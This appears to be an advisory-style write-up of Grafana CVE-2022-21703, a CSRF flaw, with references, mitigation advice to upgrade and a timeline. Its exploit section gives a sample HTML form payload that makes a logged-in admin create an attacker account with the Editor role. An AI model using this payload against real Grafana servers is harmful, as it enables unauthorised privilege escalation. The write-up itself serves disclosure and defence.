Grafana, a widely-used open-source platform for monitoring and observability, has been found to contain a critical cross-site request forgery (CSRF) vulnerability (CVE-2022-21703) that allows attackers to elevate their privileges by mounting cross-origin attacks against authenticated high-privilege Grafana users, such as Editors or Admins. This vulnerability is present in affected Grafana versions and poses a significant security risk as attackers can exploit it for privilege escalation by deceiving an authenticated user into inviting the attacker as a new user with elevated privileges. It is essential to upgrade your Grafana instance as soon as possible, given that there are no known workarounds for this issue.

1. Grafana Official Security Advisory
2. CVE-2022-21703 National Vulnerability Database

Exploit Details

An attacker needs to craft a malicious CSRF payload and deceive a high-privilege Grafana user into executing it. The payload, when executed, sends a POST request to Grafana's API for creating new users on behalf of the high-privilege user to invite the attacker as a new user with elevated privileges.

A sample malicious CSRF payload could look like the following (malicious_payload.html)

<!DOCTYPE html>
<html>
  <body>
    <form action="https://target-grafana-instance.com/api/admin/users"; method="POST">
      <input type="hidden" name="name" value="attacker_name" />
      <input type="hidden" name="email" value="attacker@mail.com" />
      <input type="hidden" name="login" value="attacker_login" />
      <input type="hidden" name="password" value="attacker_password" />
      <input type="hidden" name="role" value="Editor" />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>

The attacker then needs to trick the high-privilege Grafana user into opening this malicious payload file. Once the user opens the file, and the payload is executed, the attacker gets invited as a new user with the specified elevated role (in the example above, "Editor").

Mitigation

Since there are no known workarounds for this issue, the only solution is to upgrade your Grafana instance to a version that includes the fix for CVE-2022-21703. Check the Grafana Official Security Advisory and follow the guidelines for upgrading your specific Grafana version.

Conclusion

The cross-site request forgery vulnerability in Grafana (CVE-2022-21703) is a critical security risk that can lead to privilege escalation for attackers. Users should upgrade their Grafana instance as soon as possible to mitigate this risk, as no known workarounds effectively address this issue. Don't forget to carefully examine the official security advisory and upgrade guidelines to ensure you're fully protected.

Timeline

Published on: 02/08/2022 21:15:00 UTC
Last modified on: 05/07/2022 08:15:00 UTC